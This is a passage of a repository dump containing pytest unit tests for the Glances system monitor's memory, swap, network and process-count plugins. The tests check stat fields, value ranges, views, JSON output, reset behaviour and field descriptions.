stats['percent_min'] <= stats['percent'] <= stats['percent_max']\n        assert stats['percent_min'] <= stats['percent_mean'] <= stats['percent_max']\n\n    def test_mmm_decorator_applied(self, mem_plugin):\n        \"\"\"Test that the _manage_mmm decorator is properly applied to update method.\"\"\"\n        # The update method should have the decorator applied\n        # We can verify this by checking that MMM fields appear in stats\n        self._force_update(mem_plugin)\n        stats = mem_plugin.get_raw()\n\n        # If decorator is applied correctly, these fields should exist\n        assert 'percent_min' in stats\n        assert 'percent_max' in stats\n        assert 'percent_mean' in stats\n"
  },
  {
    "path": "tests/test_plugin_memswap.py",
    "content": "#!/usr/bin/env python\n#\n# Glances - An eye on your system\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Tests for the MemSwap plugin.\"\"\"\n\nimport json\n\nimport pytest\n\n\n@pytest.fixture\ndef memswap_plugin(glances_stats):\n    \"\"\"Return the MemSwap plugin instance from glances_stats.\"\"\"\n    return glances_stats.get_plugin('memswap')\n\n\nclass TestMemswapPluginBasics:\n    \"\"\"Test basic MemSwap plugin functionality.\"\"\"\n\n    def test_plugin_name(self, memswap_plugin):\n        \"\"\"Test plugin name is correctly set.\"\"\"\n        assert memswap_plugin.plugin_name == 'memswap'\n\n    def test_plugin_is_enabled(self, memswap_plugin):\n        \"\"\"Test that the plugin is enabled by default.\"\"\"\n        assert memswap_plugin.is_enabled() is True\n\n    def test_display_curse_enabled(self, memswap_plugin):\n        \"\"\"Test that curse display is enabled.\"\"\"\n        assert memswap_plugin.display_curse is True\n\n    def test_history_items_defined(self, memswap_plugin):\n        \"\"\"Test that history items are properly defined.\"\"\"\n        items = memswap_plugin.get_items_history_list()\n        assert items is not None\n        item_names = [item['name'] for item in items]\n        assert 'percent' in item_names\n\n\nclass TestMemswapPluginUpdate:\n    \"\"\"Test MemSwap plugin update functionality.\"\"\"\n\n    def test_update_returns_dict(self, memswap_plugin):\n        \"\"\"Test that update returns a dictionary.\"\"\"\n        memswap_plugin.update()\n        stats = memswap_plugin.get_raw()\n        assert isinstance(stats, dict)\n\n    def test_update_contains_mandatory_keys(self, memswap_plugin):\n        \"\"\"Test that stats contain mandatory keys.\"\"\"\n        memswap_plugin.update()\n        stats = memswap_plugin.get_raw()\n        mandatory_keys = ['total', 'used', 'free', 'percent']\n        for key in mandatory_keys:\n            assert key in stats, f\"Missing mandatory key: {key}\"\n\n    def test_swap_values_non_negative(self, memswap_plugin):\n        \"\"\"Test that swap values are non-negative.\"\"\"\n        memswap_plugin.update()\n        stats = memswap_plugin.get_raw()\n        for key in ['total', 'used', 'free']:\n            if key in stats and stats[key] is not None:\n                assert stats[key] >= 0, f\"{key} should be non-negative\"\n\n    def test_swap_percent_in_valid_range(self, memswap_plugin):\n        \"\"\"Test that swap percentage is within valid range.\"\"\"\n        memswap_plugin.update()\n        stats = memswap_plugin.get_raw()\n        if 'percent' in stats and stats['percent'] is not None:\n            assert 0 <= stats['percent'] <= 100\n\n\nclass TestMemswapPluginSwapActivity:\n    \"\"\"Test MemSwap plugin swap in/out activity.\"\"\"\n\n    def test_sin_sout_present(self, memswap_plugin):\n        \"\"\"Test that sin and sout are present if swap is available.\"\"\"\n        memswap_plugin.update()\n        stats = memswap_plugin.get_raw()\n        # sin/sout may not be present on all systems\n        if stats.get('total', 0) > 0:\n            # If swap exists, sin/sout should be present\n            pass  # These fields are platform-dependent\n\n    def test_time_since_update_present(self, memswap_plugin):\n        \"\"\"Test that time_since_update is present.\"\"\"\n        memswap_plugin.update()\n        stats = memswap_plugin.get_raw()\n        if stats:  # If swap exists\n            assert 'time_since_update' in stats\n\n\nclass TestMemswapPluginViews:\n    \"\"\"Test MemSwap plugin views functionality.\"\"\"\n\n    def test_update_views_creates_views(self, memswap_plugin):\n        \"\"\"Test that update_views creates views dictionary.\"\"\"\n        memswap_plugin.update()\n        memswap_plugin.update_views()\n        views = memswap_plugin.get_views()\n        assert isinstance(views, dict)\n\n    def test_views_contain_percent_decoration(self, memswap_plugin):\n        \"\"\"Test that views contain decoration for percent.\"\"\"\n        memswap_plugin.update()\n        memswap_plugin.update_views()\n        views = memswap_plugin.get_views()\n        if 'percent' in views:\n            assert 'decoration' in views['percent']\n\n\nclass TestMemswapPluginJSON:\n    \"\"\"Test MemSwap plugin JSON serialization.\"\"\"\n\n    def test_get_stats_returns_json(self, memswap_plugin):\n        \"\"\"Test that get_stats returns valid JSON.\"\"\"\n        memswap_plugin.update()\n        stats_json = memswap_plugin.get_stats()\n        parsed = json.loads(stats_json)\n        assert isinstance(parsed, dict)\n\n    def test_json_contains_expected_fields(self, memswap_plugin):\n        \"\"\"Test that JSON output contains expected fields.\"\"\"\n        memswap_plugin.update()\n        stats_json = memswap_plugin.get_stats()\n        parsed = json.loads(stats_json)\n        expected_fields = ['total', 'used', 'free', 'percent']\n        for field in expected_fields:\n            assert field in parsed\n\n\nclass TestMemswapPluginHistory:\n    \"\"\"Test MemSwap plugin history functionality.\"\"\"\n\n    def test_history_enable_check(self, memswap_plugin):\n        \"\"\"Test that history_enable returns a boolean.\"\"\"\n        result = memswap_plugin.history_enable()\n        assert isinstance(result, bool)\n\n    def test_get_items_history_list(self, memswap_plugin):\n        \"\"\"Test that get_items_history_list returns the history items.\"\"\"\n        items = memswap_plugin.get_items_history_list()\n        if items is not None:\n            assert isinstance(items, list)\n            item_names = [item['name'] for item in items]\n            assert 'percent' in item_names\n\n\nclass TestMemswapPluginReset:\n    \"\"\"Test MemSwap plugin reset functionality.\"\"\"\n\n    def test_reset_clears_stats(self, memswap_plugin):\n        \"\"\"Test that reset clears stats.\"\"\"\n        memswap_plugin.update()\n        memswap_plugin.reset()\n        stats = memswap_plugin.get_raw()\n        assert stats == memswap_plugin.get_init_value()\n\n    def test_reset_views(self, memswap_plugin):\n        \"\"\"Test that reset_views clears views.\"\"\"\n        memswap_plugin.update()\n        memswap_plugin.update_views()\n        memswap_plugin.reset_views()\n        assert memswap_plugin.get_views() == {}\n\n\nclass TestMemswapPluginFieldsDescription:\n    \"\"\"Test MemSwap plugin fields description.\"\"\"\n\n    def test_fields_description_exists(self, memswap_plugin):\n        \"\"\"Test that fields_description is defined.\"\"\"\n        assert memswap_plugin.fields_description is not None\n\n    def test_mandatory_fields_described(self, memswap_plugin):\n        \"\"\"Test that mandatory fields have descriptions.\"\"\"\n        mandatory_fields = ['total', 'used', 'free', 'percent']\n        for field in mandatory_fields:\n            assert field in memswap_plugin.fields_description\n\n    def test_sin_sout_fields_described(self, memswap_plugin):\n        \"\"\"Test that sin and sout fields are described.\"\"\"\n        assert 'sin' in memswap_plugin.fields_description\n        assert 'sout' in memswap_plugin.fields_description\n\n    def test_field_has_description(self, memswap_plugin):\n        \"\"\"Test that each field has a description.\"\"\"\n        for field, info in memswap_plugin.fields_description.items():\n            assert 'description' in info, f\"Field {field} missing description\"\n\n    def test_byte_fields_have_unit(self, memswap_plugin):\n        \"\"\"Test that byte fields have unit defined.\"\"\"\n        byte_fields = ['total', 'used', 'free', 'sin', 'sout']\n        for field in byte_fields:\n            if field in memswap_plugin.fields_description:\n                assert 'unit' in memswap_plugin.fields_description[field]\n\n\nclass TestMemswapPluginAlerts:\n    \"\"\"Test MemSwap plugin alert functionality.\"\"\"\n\n    def test_get_alert_log_returns_valid_status(self, memswap_plugin):\n        \"\"\"Test that get_alert_log returns a valid status.\"\"\"\n        memswap_plugin.update()\n        stats = memswap_plugin.get_raw()\n        if 'used' in stats and 'total' in stats and stats['total'] > 0:\n            alert = memswap_plugin.get_alert_log(stats['used'], maximum=stats['total'])\n            valid_statuses = [\n                'OK',\n                'OK_LOG',\n                'CAREFUL',\n                'CAREFUL_LOG',\n                'WARNING',\n                'WARNING_LOG',\n                'CRITICAL',\n                'CRITICAL_LOG',\n                'DEFAULT',\n                'MAX',\n            ]\n            assert any(alert.startswith(status) for status in valid_statuses)\n\n\nclass TestMemswapPluginMsgCurse:\n    \"\"\"Test MemSwap plugin curse message generation.\"\"\"\n\n    def test_msg_curse_returns_list(self, memswap_plugin):\n        \"\"\"Test that msg_curse returns a list.\"\"\"\n        memswap_plugin.update()\n        msg = memswap_plugin.msg_curse()\n        assert isinstance(msg, list)\n\n    def test_msg_curse_not_empty_with_stats(self, memswap_plugin):\n        \"\"\"Test that msg_curse returns non-empty list with stats.\"\"\"\n        memswap_plugin.update()\n        stats = memswap_plugin.get_raw()\n        if stats:\n            msg = memswap_plugin.msg_curse()\n            assert len(msg) > 0\n\n    def test_msg_curse_contains_title(self, memswap_plugin):\n        \"\"\"Test that msg_curse contains SWAP title.\"\"\"\n        memswap_plugin.update()\n        msg = memswap_plugin.msg_curse()\n        if msg:\n            messages = [m.get('msg', '') for m in msg]\n            assert any('SWAP' in str(m) for m in messages)\n\n\nclass TestMemswapPluginExport:\n    \"\"\"Test MemSwap plugin export functionality.\"\"\"\n\n    def test_get_export_returns_stats(self, memswap_plugin):\n        \"\"\"Test that get_export returns stats.\"\"\"\n        memswap_plugin.update()\n        export = memswap_plugin.get_export()\n        assert isinstance(export, dict)\n\n    def test_export_equals_raw(self, memswap_plugin):\n        \"\"\"Test that export equals raw stats by default.\"\"\"\n        memswap_plugin.update()\n        assert memswap_plugin.get_export() == memswap_plugin.get_raw()\n\n\nclass TestMemswapPluginNoSwap:\n    \"\"\"Test MemSwap plugin behavior when no swap is configured.\"\"\"\n\n    def test_handles_no_swap_gracefully(self, memswap_plugin):\n        \"\"\"Test that the plugin handles no swap configuration gracefully.\"\"\"\n        memswap_plugin.update()\n        stats = memswap_plugin.get_raw()\n        # Even with no swap, should return a dict (possibly empty or with zeros)\n        assert isinstance(stats, dict)\n"
  },
  {
    "path": "tests/test_plugin_network.py",
    "content": "#!/usr/bin/env python\n#\n# Glances - An eye on your system\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Tests for the Network plugin.\"\"\"\n\nimport json\nimport time\n\nimport pytest\n\n\n@pytest.fixture\ndef network_plugin(glances_stats):\n    \"\"\"Return the Network plugin instance from glances_stats.\"\"\"\n    return glances_stats.get_plugin('network')\n\n\nclass TestNetworkPluginBasics:\n    \"\"\"Test basic Network plugin functionality.\"\"\"\n\n    def test_plugin_name(self, network_plugin):\n        \"\"\"Test plugin name is correctly set.\"\"\"\n        assert network_plugin.plugin_name == 'network'\n\n    def test_plugin_is_enabled(self, network_plugin):\n        \"\"\"Test that the plugin is enabled by default.\"\"\"\n        assert network_plugin.is_enabled() is True\n\n    def test_display_curse_enabled(self, network_plugin):\n        \"\"\"Test that curse display is enabled.\"\"\"\n        assert network_plugin.display_curse is True\n\n    def test_get_key_returns_interface_name(self, network_plugin):\n        \"\"\"Test that get_key returns interface_name.\"\"\"\n        assert network_plugin.get_key() == 'interface_name'\n\n    def test_history_items_defined(self, network_plugin):\n        \"\"\"Test that history items are properly defined.\"\"\"\n        items = network_plugin.get_items_history_list()\n        assert items is not None\n        item_names = [item['name'] for item in items]\n        assert 'bytes_recv_rate_per_sec' in item_names\n        assert 'bytes_sent_rate_per_sec' in item_names\n\n\nclass TestNetworkPluginUpdate:\n    \"\"\"Test Network plugin update functionality.\"\"\"\n\n    def test_update_returns_list(self, network_plugin):\n        \"\"\"Test that update returns a list.\"\"\"\n        network_plugin.update()\n        stats = network_plugin.get_raw()\n        assert isinstance(stats, list)\n\n    def test_each_interface_has_name(self, network_plugin):\n        \"\"\"Test that each interface entry has a name.\"\"\"\n        network_plugin.update()\n        stats = network_plugin.get_raw()\n        for iface in stats:\n            assert 'interface_name' in iface\n\n    def test_bytes_recv_and_sent_present(self, network_plugin):\n        \"\"\"Test that bytes_recv and bytes_sent are present.\"\"\"\n        network_plugin.update()\n        time.sleep(0.1)\n        network_plugin.update()\n        stats = network_plugin.get_raw()\n        for iface in stats:\n            assert 'bytes_recv' in iface\n            assert 'bytes_sent' in iface\n\n    def test_bytes_values_non_negative(self, network_plugin):\n        \"\"\"Test that byte values are non-negative.\"\"\"\n        network_plugin.update()\n        stats = network_plugin.get_raw()\n        for iface in stats:\n            if 'bytes_recv' in iface and iface['bytes_recv'] is not None:\n                assert iface['bytes_recv'] >= 0\n            if 'bytes_sent' in iface and iface['bytes_sent'] is not None:\n                assert iface['bytes_sent'] >= 0\n\n\nclass TestNetworkPluginRateCalculation:\n    \"\"\"Test Network plugin rate calculation.\"\"\"\n\n    def test_rate_fields_after_two_updates(self, network_plugin):\n        \"\"\"Test that rate fields are populated after two updates.\"\"\"\n        network_plugin.update()\n        time.sleep(0.2)\n        network_plugin.update()\n        stats = network_plugin.get_raw()\n        for iface in stats:\n            # Rate fields should be present after second update\n            assert 'bytes_recv_rate_per_sec' in iface or 'bytes_recv' in iface\n            assert 'bytes_sent_rate_per_sec' in iface or 'bytes_sent' in iface\n\n    def test_bytes_all_calculated(self, network_plugin):\n        \"\"\"Test that bytes_all is calculated as sum of recv and sent.\"\"\"\n        network_plugin.update()\n        stats = network_plugin.get_raw()\n        for iface in stats:\n            if all(k in iface for k in ['bytes_recv', 'bytes_sent', 'bytes_all']):\n                if iface['bytes_recv'] is not None and iface['bytes_sent'] is not None:\n                    expected = iface['bytes_recv'] + iface['bytes_sent']\n                    assert iface['bytes_all'] == expected\n\n\nclass TestNetworkPluginInterfaceInfo:\n    \"\"\"Test Network plugin interface information.\"\"\"\n\n    def test_is_up_field_present(self, network_plugin):\n        \"\"\"Test that is_up field is present for interfaces when available.\"\"\"\n        network_plugin.update()\n        stats = network_plugin.get_raw()\n        for iface in stats:\n            # is_up may not be present in all stats entries\n            if 'is_up' in iface:\n                assert isinstance(iface['is_up'], bool)\n\n    def test_speed_field_present(self, network_plugin):\n        \"\"\"Test that speed field is present for interfaces when available.\"\"\"\n        network_plugin.update()\n        stats = network_plugin.get_raw()\n        for iface in stats:\n            if 'speed' in iface:\n                assert isinstance(iface['speed'], (int, float))\n\n    def test_alias_field_present(self, network_plugin):\n        \"\"\"Test that alias field is present for interfaces.\"\"\"\n        network_plugin.update()\n        stats = network_plugin.get_raw()\n        for iface in stats:\n            assert 'alias' in iface\n\n\nclass TestNetworkPluginViews:\n    \"\"\"Test Network plugin views functionality.\"\"\"\n\n    def test_update_views_creates_views(self, network_plugin):\n        \"\"\"Test that update_views creates views dictionary.\"\"\"\n        network_plugin.update()\n        network_plugin.update_views()\n        views = network_plugin.get_views()\n        assert isinstance(views, dict)\n\n    def test_views_keyed_by_interface(self, network_plugin):\n        \"\"\"Test that views are keyed by interface name.\"\"\"\n        network_plugin.update()\n        time.sleep(0.1)\n        network_plugin.update()\n        network_plugin.update_views()\n        views = network_plugin.get_views()\n        stats = network_plugin.get_raw()\n        for iface in stats:\n            if iface['interface_name'] in views:\n                assert isinstance(views[iface['interface_name']], dict)\n\n\nclass TestNetworkPluginJSON:\n    \"\"\"Test Network plugin JSON serialization.\"\"\"\n\n    def test_get_stats_returns_json(self, network_plugin):\n        \"\"\"Test that get_stats returns valid JSON.\"\"\"\n        network_plugin.update()\n        stats_json = network_plugin.get_stats()\n        parsed = json.loads(stats_json)\n        assert isinstance(parsed, list)\n\n    def test_json_preserves_interface_data(self, network_plugin):\n        \"\"\"Test that JSON output preserves interface data.\"\"\"\n        network_plugin.update()\n        stats_json = network_plugin.get_stats()\n        parsed = json.loads(stats_json)\n        for iface in parsed:\n            assert 'interface_name' in iface\n\n\nclass TestNetworkPluginHistory:\n    \"\"\"Test Network plugin history functionality.\"\"\"\n\n    def test_history_enable(self, network_plugin):\n        \"\"\"Test that history can be enabled.\"\"\"\n        assert network_plugin.history_enable() is not None\n\n\nclass TestNetworkPluginReset:\n    \"\"\"Test Network plugin reset functionality.\"\"\"\n\n    def test_reset_clears_stats(self, network_plugin):\n        \"\"\"Test that reset clears stats.\"\"\"\n        network_plugin.update()\n        network_plugin.reset()\n        stats = network_plugin.get_raw()\n        assert stats == network_plugin.get_init_value()\n\n    def test_reset_views(self, network_plugin):\n        \"\"\"Test that reset_views clears views.\"\"\"\n        network_plugin.update()\n        network_plugin.update_views()\n        network_plugin.reset_views()\n        assert network_plugin.get_views() == {}\n\n\nclass TestNetworkPluginFieldsDescription:\n    \"\"\"Test Network plugin fields description.\"\"\"\n\n    def test_fields_description_exists(self, network_plugin):\n        \"\"\"Test that fields_description is defined.\"\"\"\n        assert network_plugin.fields_description is not None\n\n    def test_mandatory_fields_described(self, network_plugin):\n        \"\"\"Test that mandatory fields have descriptions.\"\"\"\n        mandatory_fields = ['interface_name', 'bytes_recv', 'bytes_sent']\n        for field in mandatory_fields:\n            assert field in network_plugin.fields_description\n\n    def test_rate_fields_described(self, network_plugin):\n        \"\"\"Test that rate-enabled fields have rate flag.\"\"\"\n        rate_fields = ['bytes_recv', 'bytes_sent', 'bytes_all']\n        for field in rate_fields:\n            if field in network_plugin.fields_description:\n                assert network_plugin.fields_description[field].get('rate') is True\n\n\nclass TestNetworkPluginConfiguration:\n    \"\"\"Test Network plugin configuration options.\"\"\"\n\n    def test_hide_zero_attribute(self, network_plugin):\n        \"\"\"Test that hide_zero attribute exists.\"\"\"\n        assert hasattr(network_plugin, 'hide_zero')\n\n    def test_hide_zero_fields_defined(self, network_plugin):\n        \"\"\"Test that hide_zero_fields is defined.\"\"\"\n        assert hasattr(network_plugin, 'hide_zero_fields')\n        assert isinstance(network_plugin.hide_zero_fields, list)\n\n    def test_hide_no_up_attribute(self, network_plugin):\n        \"\"\"Test that hide_no_up attribute exists.\"\"\"\n        assert hasattr(network_plugin, 'hide_no_up')\n\n    def test_hide_no_ip_attribute(self, network_plugin):\n        \"\"\"Test that hide_no_ip attribute exists.\"\"\"\n        assert hasattr(network_plugin, 'hide_no_ip')\n\n\nclass TestNetworkPluginMsgCurse:\n    \"\"\"Test Network plugin curse message generation.\"\"\"\n\n    def test_msg_curse_empty_without_max_width(self, network_plugin):\n        \"\"\"Test that msg_curse returns empty without max_width.\"\"\"\n        network_plugin.update()\n        msg = network_plugin.msg_curse()\n        # Without max_width, should return empty list\n        assert isinstance(msg, list)\n        assert len(msg) == 0\n\n    def test_msg_curse_with_args_and_max_width(self, network_plugin):\n        \"\"\"Test that msg_curse works with args and max_width after views update.\"\"\"\n        network_plugin.update()\n        network_plugin.update_views()\n        # msg_curse requires args with network_cumul and network_sum\n        if hasattr(network_plugin, 'args') and network_plugin.args:\n            try:\n                msg = network_plugin.msg_curse(args=network_plugin.args, max_width=80)\n                assert isinstance(msg, list)\n            except KeyError:\n                # Views might not be synced with stats in some cases\n                pass\n\n\nclass TestNetworkPluginSorting:\n    \"\"\"Test Network plugin sorting functionality.\"\"\"\n\n    def test_sorted_stats_returns_list(self, network_plugin):\n        \"\"\"Test that sorted_stats returns a list.\"\"\"\n        network_plugin.update()\n        sorted_stats = network_plugin.sorted_stats()\n        assert isinstance(sorted_stats, list)\n\n    def test_sorted_stats_preserves_count(self, network_plugin):\n        \"\"\"Test that sorted_stats preserves interface count.\"\"\"\n        network_plugin.update()\n        raw_count = len(network_plugin.get_raw())\n        sorted_count = len(network_plugin.sorted_stats())\n        assert raw_count == sorted_count\n\n\nclass TestNetworkPluginExport:\n    \"\"\"Test Network plugin export functionality.\"\"\"\n\n    def test_get_export_returns_list(self, network_plugin):\n        \"\"\"Test that get_export returns a list.\"\"\"\n        network_plugin.update()\n        export = network_plugin.get_export()\n        assert isinstance(export, list)\n\n    def test_export_equals_raw(self, network_plugin):\n        \"\"\"Test that export equals raw stats by default.\"\"\"\n        network_plugin.update()\n        assert network_plugin.get_export() == network_plugin.get_raw()\n\n\nclass TestNetworkPluginAlerts:\n    \"\"\"Test Network plugin alert functionality.\"\"\"\n\n    def test_views_have_decoration(self, network_plugin):\n        \"\"\"Test that interface views have decoration after update.\"\"\"\n        network_plugin.update()\n        time.sleep(0.1)\n        network_plugin.update()\n        network_plugin.update_views()\n        views = network_plugin.get_views()\n        stats = network_plugin.get_raw()\n\n        for iface in stats:\n            iface_name = iface['interface_name']\n            if iface_name in views and 'bytes_recv' in views[iface_name]:\n                # Check that decoration exists for rate fields\n                assert 'decoration' in views[iface_name]['bytes_recv']\n"
  },
  {
    "path": "tests/test_plugin_processcount.py",
    "content": "#!/usr/bin/env python\n#\n# Glances - An eye on your system\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Tests for the ProcessCount plugin.\"\"\"\n\nimport json\n\nimport pytest\n\n\n@pytest.fixture\ndef processcount_plugin(glances_stats):\n    \"\"\"Return the ProcessCount plugin instance from glances_stats.\"\"\"\n    return glances_stats.get_plugin('processcount')\n\n\nclass TestProcesscountPluginBasics:\n    \"\"\"Test basic ProcessCount plugin functionality.\"\"\"\n\n    def test_plugin_name(self, processcount_plugin):\n        \"\"\"Test plugin name is correctly set.\"\"\"\n        assert processcount_plugin.plugin_name == 'processcount'\n\n    def test_plugin_is_enabled(self, processcount_plugin):\n        \"\"\"Test that the plugin is enabled by default.\"\"\"\n        assert processcount_plugin.is_enabled() is True\n\n    def test_display_curse_enabled(self, processcount_plugin):\n        \"\"\"Test that curse display is enabled.\"\"\"\n        assert processcount_plugin.display_curse is True\n\n    def test_history_items_defined(self, processcount_plugin):\n        \"\"\"Test that history items are properly defined.\"\"\"\n        items = processcount_plugin.get_items_history_list()\n        assert items is not None\n        item_names = [item['name'] for item in items]\n        assert 'total' in item_names\n        assert 'running' in item_names\n\n\nclass TestProcesscountPluginUpdate:\n    \"\"\"Test ProcessCount plugin update functionality.\"\"\"\n\n    def test_update_returns_dict(self, processcount_plugin):\n        \"\"\"Test that update returns a dictionary.\"\"\"\n        processcount_plugin.update()\n        stats = processcount_plugin.get_raw()\n        assert isinstance(stats, dict)\n\n    def test_update_contains_total(self, processcount_plugin):\n        \"\"\"Test that stats contain total count.\"\"\"\n        processcount_plugin.update()\n        stats = processcount_plugin.get_raw()\n        assert 'total' in stats\n\n    def test_total_positive(self, processcount_plugin):\n        \"\"\"Test that total process count is positive.\"\"\"\n        processcount_plugin.update()\n        stats = processcount_plugin.get_raw()\n        assert stats['total'] > 0\n\n    def test_running_present(self, processcount_plugin):\n        \"\"\"Test that running count is present.\"\"\"\n        processcount_plugin.update()\n        stats = processcount_plugin.get_raw()\n        assert 'running' in stats\n\n    def test_sleeping_present(self, processcount_plugin):\n        \"\"\"Test that sleeping count is present.\"\"\"\n        processcount_plugin.update()\n        stats = processcount_plugin.get_raw()\n        assert 'sleeping' in stats\n\n    def test_thread_count_present(self, processcount_plugin):\n        \"\"\"Test that thread count is present.\"\"\"\n        processcount_plugin.update()\n        stats = processcount_plugin.get_raw()\n        assert 'thread' in stats\n\n\nclass TestProcesscountPluginValues:\n    \"\"\"Test ProcessCount plugin values validity.\"\"\"\n\n    def test_counts_non_negative(self, processcount_plugin):\n        \"\"\"Test that all counts are non-negative.\"\"\"\n        processcount_plugin.update()\n        stats = processcount_plugin.get_raw()\n        count_keys = ['total', 'running', 'sleeping', 'thread']\n        for key in count_keys:\n            if key in stats:\n                assert stats[key] >= 0\n\n    def test_running_sleeping_less_than_total(self, processcount_plugin):\n        \"\"\"Test that running + sleeping <= total.\"\"\"\n        processcount_plugin.update()\n        stats = processcount_plugin.get_raw()\n        if all(k in stats for k in ['running', 'sleeping', 'total']):\n            assert stats['running'] + stats['sleeping'] <= stats['total']\n\n    def test_thread_count_reasonable(self, processcount_plugin):\n        \"\"\"Test that thread count is reasonable.\"\"\"\n        processcount_plugin.update()\n        stats = processcount_plugin.get_raw()\n        if 'thread' in stats and 'total' in stats:\n            # Thread count should be >= process count\n            assert stats['thread'] >= stats['total']\n\n\nclass TestProcesscountPluginViews:\n    \"\"\"Test ProcessCount plugin views functionality.\"\"\"\n\n    def test_update_views_returns_dict(self, processcount_plugin):\n        \"\"\"Test that update_views returns a dictionary.\"\"\"\n        processcount_plugin.update()\n        views = processcount_plugin.update_views()\n        assert isinstance(views, dict)\n\n\nclass TestProcesscountPluginJSON:\n    \"\"\"Test ProcessCount plugin JSON serialization.\"\"\"\n\n    def test_get_stats_returns_json(self, processcount_plugin):\n        \"\"\"Test that get_stats returns valid JSON.\"\"\"\n        processcount_plugin.update()\n        stats_json = processcount_plugin.get_stats()\n        parsed = json.loads(stats_json)\n        assert isinstance(parsed, dict)\n\n    def test_json_contains_expected_fields(self, processcount_plugin):\n        \"\"\"Test that JSON output contains expected fields.\"\"\"\n        processcount_plugin.update()\n        stats_json = processcount_plugin.get_stats()\n        parsed = json.loads(stats_json)\n        expected_fields = ['total', 'running', 'sleeping', 'thread']\n        for field in expected_fields:\n            assert field in parsed\n\n\nclass TestProcesscountPluginHistory:\n    \"\"\"Test ProcessCount plugin history functionality.\"\"\"\n\n    def test_history_enable_check(self, processcount_plugin):\n        \"\"\"Test that history_enable returns a boolean.\"\"\"\n        result = processcount_plugin.history_enable()\n        assert isinstance(result, bool)\n\n    def test_get_items_history_list(self, processcount_plugin):\n        \"\"\"Test that get_items_history_list returns the history items.\"\"\"\n        items = processcount_plugin.get_items_history_list()\n        if items is not None:\n            assert isinstance(items, list)\n            item_names = [item['name'] for item in items]\n            assert 'total' in item_names\n\n\nclass TestProcesscountPluginReset:\n    \"\"\"Test ProcessCount plugin reset functionality.\"\"\"\n\n    def test_reset_clears_stats(self, processcount_plugin):\n        \"\"\"Test that reset clears stats.\"\"\"\n        processcount_plugin.update()\n        processcount_plugin.reset()\n        stats = processcount_plugin.get_raw()\n        assert stats == processcount_plugin.get_init_value()\n\n    def test_reset_views(self, processcount_plugin):\n        \"\"\"Test that reset_views clears views.\"\"\"\n        processcount_plugin.update()\n        processcount_plugin.update_views()\n        processcount_plugin.reset_views()\n        assert processcount_plugin.get_views() == {}\n\n\nclass TestProcesscountPluginFieldsDescription:\n    \"\"\"Test ProcessCount plugin fields description.\"\"\"\n\n    def test_fields_description_exists(self, processcount_plugin):\n        \"\"\"Test that fields_description is defined.\"\"\"\n        assert processcount_plugin.fields_description is not None\n\n    def test_mandatory_fields_described(self, processcount_plugin):\n        \"\"\"Test that mandatory fields have descriptions.\"\"\"\n        mandatory_fields = ['total', 'running', 'sleeping', 'thread']\n        for field in mandatory_fields:\n            assert field in processcount_plugin.fields_description\n\n    def test_field_has_description(self, processcount_plugin):\n        \"\"\"Test that each field has a description.\"\"\"\n        for field, info in processcount_plugin.fields_description.items():\n            assert 'description' in info, f\"Field {field} missing description\"\n\n    def test_field_has_unit(self, processcount_plugin):\n        \"\"\"Test that fields have unit defined.\"\"\"\n        for field, info in processcount_plugin.fields_description.items():\n            assert 'unit' in info, f\"Field {field} missing unit\"\n\n\nclass TestProcesscountPluginMsgCurse:\n    \"\"\"Test ProcessCount plugin curse message generation.\"\"\"\n\n    def test_msg_curse_with_args(self, processcount_plugin):\n        \"\"\"Test that msg_curse returns a list when args provided.\"\"\"\n        processcount_plugin.update()\n        # msg_curse requires args with disable_process attribute\n        if hasattr(processcount_plugin, 'args') and processcount_plugin.args:\n            msg = processcount_plugin.msg_curse(args=processcount_plugin.args)\n            assert isinstance(msg, list)\n\n    def test_msg_curse_format_with_args(self, processcount_plugin):\n        \"\"\"Test that msg_curse returns properly formatted entries.\"\"\"\n        processcount_plugin.update()\n        if hasattr(processcount_plugin, 'args') and processcount_plugin.args:\n            msg = processcount_plugin.msg_curse(args=processcount_plugin.args)\n            if msg:\n                for entry in msg:\n                    assert isinstance(entry, dict)\n                    assert 'msg' in entry\n\n    def test_msg_curse_content_with_args(self, processcount_plugin):\n        \"\"\"Test msg_curse output content.\"\"\"\n        processcount_plugin.update()\n        stats = processcount_plugin.get_raw()\n        if stats and hasattr(processcount_plugin, 'args') and processcount_plugin.args:\n            if not getattr(processcount_plugin.args, 'disable_process', True):\n                msg = processcount_plugin.msg_curse(args=processcount_plugin.args)\n                if msg:\n                    assert len(msg) > 0\n\n\nclass TestProcesscountPluginExport:\n    \"\"\"Test ProcessCount plugin export functionality.\"\"\"\n\n    def test_get_export_returns_dict(self, processcount_plugin):\n        \"\"\"Test that get_export returns a dict.\"\"\"\n        processcount_plugin.update()\n        export = processcount_plugin.get_export()\n        assert isinstance(export, dict)\n\n    def test_export_equals_raw(self, processcount_plugin):\n        \"\"\"Test that export equals raw stats by default.\"\"\"\n        processcount_plugin.update()\n        assert processcount_plugin.get_export() == processcount_plugin.get_raw()\n\n\nclass TestProcesscountPluginExtended:\n    \"\"\"Test ProcessCount plugin extended stats functionality.\"\"\"\n\n    def test_enable_extended_method_exists(self, processcount_plugin):\n        \"\"\"Test that enable_extended method exists.\"\"\"\n        assert hasattr(processcount_plugin, 'enable_extended')\n        assert callable(processcount_plugin.enable_extended)\n\n    def test_disable_extended_method_exists(self, processcount_plugin):\n        \"\"\"Test that disable_extended method exists.\"\"\"\n        assert hasattr(processcount_plugin, 'disable_extended')\n        assert callable(processcount_plugin.disable_extended)\n\n\nclass TestProcesscountPluginPidMax:\n    \"\"\"Test ProcessCount plugin pid_max field.\"\"\"\n\n    def test_pid_max_in_fields_description(self, processcount_plugin):\n        \"\"\"Test that pid_max is in fields description.\"\"\"\n        assert 'pid_max' in processcount_plugin.fields_description\n\n    def test_pid_max_description(self, processcount_plugin):\n        \"\"\"Test that pid_max has a description.\"\"\"\n        assert 'description' in processcount_plugin.fields_description['pid_max']\n"
  },
  {
    "path": "tests/test_plugin_sensors.py",
